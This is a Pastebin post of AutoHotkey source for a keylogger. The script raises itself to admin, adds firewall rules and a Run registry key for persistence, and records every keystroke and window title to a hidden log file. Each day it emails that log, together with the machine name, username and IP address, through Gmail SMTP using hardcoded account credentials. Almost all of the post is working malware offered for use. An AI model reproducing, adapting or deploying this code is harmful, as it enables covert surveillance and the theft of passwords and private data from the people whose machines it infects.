Snow_Flake

Keylogger

Aug 9th, 2014
1,566
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. Name:Keylogger
  3. Usage: Keyloggs every stroke you make and then sends it to your Gmail account.
  4. written in Autohotkey
  5. Date: 2014:08:9
  6. made by: Flow Snake//Snow Flake
  7.  
  8. */
  9.  
  10.  
  11. If not A_IsAdmin
  12. {
  13. Run *RunAs "%A_ScriptFullPath%"
  14. ExitApp
  15. }
  16.  
  17. #NoEnv
  18. #Persistent
  19. ;#NoTrayIcon
  20. #SingleInstance, force
  21. SetWorkingDir %A_ScriptDir%
  22.      
  23. RunWait, cmd /c netsh advfirewall firewall add rule name="Autologger" dir=in action=allow program="%A_ScriptFullPath%" enable=yes          ; Allouse Autologger to not be disrupted by the Firewall
  24. RunWait, cmd /c netsh advfirewall firewall add rule name="Autologger" dir=in action=allow protocol=TCP localport=465                                        ; Opens Port 465 in the Firewall.
  25. RegWrite, REG_SZ, HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, Autologger, "%A_ScriptFullPath%"         ; Autostart enable
  26.  
  27. Loop {                                              
  28.           Input, k , V T5
  29.           FormatTime, t ,, MM-dd-yyyy  hh:mm:ss tt
  30.           WinGetActiveTitle , pt
  31.           pttk = `n`n`n****************`n%pt%`n%t%`n`n%k%
  32.           k:=pt!=pt2 ? pttk :k
  33.           FileAppend, %k% ,C:\Auto.log
  34.          FileSetAttrib, +H, C:\Auto.log
  35.      
  36.           pt2 := pt
  37.          
  38.            if A_Hour = 8
  39.            {
  40.              if A_min = 30
  41.            
  42.             ; IF time is 15:30 then Send the logg to the users Email.
  43.          
  44.             ;//call Email Function
  45.             email()
  46.        
  47.            }
  48.         }
  49.      
  50.      
  51.         ExitSub:
  52.                if (hHook)
  53.                         DllCall("UnhookWindowsHookEx", Ptr, hHook)
  54.                 if (hMod)
  55.                         DllCall("FreeLibrary", Ptr, hMod)
  56.         ExitApp
  57.        
  58.     ;//Functions
  59.     Email()
  60.     {
  61.             pmsg                    := ComObjCreate("CDO.Message")
  62.             pmsg.From          := "[email protected]"
  63.             pmsg.To               := "[email protected]"
  64.             pmsg.BCC           := ""   ; Blind Carbon Copy, Invisable for all, same syntax as CC
  65.             pmsg.CC             := ""
  66.             pmsg.Subject    := "Autologger Information" A_MM A_DD A_Hour
  67.                      
  68.             pmsg.TextBody   :=  "PC Name:  " A_ComputerName  "`nOS:  " A_OSVersion  "`nUsername:  " A_Username  "`nIP:  " A_IPAddress1  "`nAutologger Made By: Snow_Flake ©"
  69.                              
  70.             SPVvar := "C:/Auto.log"
  71.             sAttach                 = %SPVvar%
  72.                
  73.            
  74.            ; can add multiple attachments, the delimiter is |
  75.                    
  76.             fields := Object()
  77.             fields.smtpserver   := "smtp.gmail.com" ; specify your SMTP server
  78.             fields.smtpserverport     := 465 ; 25
  79.             fields.smtpusessl      := True ; False
  80.             fields.sendusing     := 2   ; cdoSendUsingPort
  81.             fields.smtpauthenticate     := 1   ; cdoBasic
  82.             fields.sendusername := "[email protected]" ; Name
  83.             fields.sendpassword := "redman22" ; Password
  84.             fields.smtpconnectiontimeout := 60
  85.             schema := "http://schemas.microsoft.com/cdo/configuration/"
  86.                      
  87.             pfld :=   pmsg.Configuration.Fields
  88.                      
  89.             For field,value in fields
  90.                     pfld.Item(schema . field) := value
  91.             pfld.Update()
  92.                      
  93.             Loop, Parse, sAttach, |, %A_Space%%A_Tab%
  94.               pmsg.AddAttachment(A_LoopField)
  95.                      
  96.             pmsg.Send()
  97.             sleep, 300
  98.             FileDelete, Auto.log
  99.     }
Advertisement
Add Comment
Please, Sign In to add comment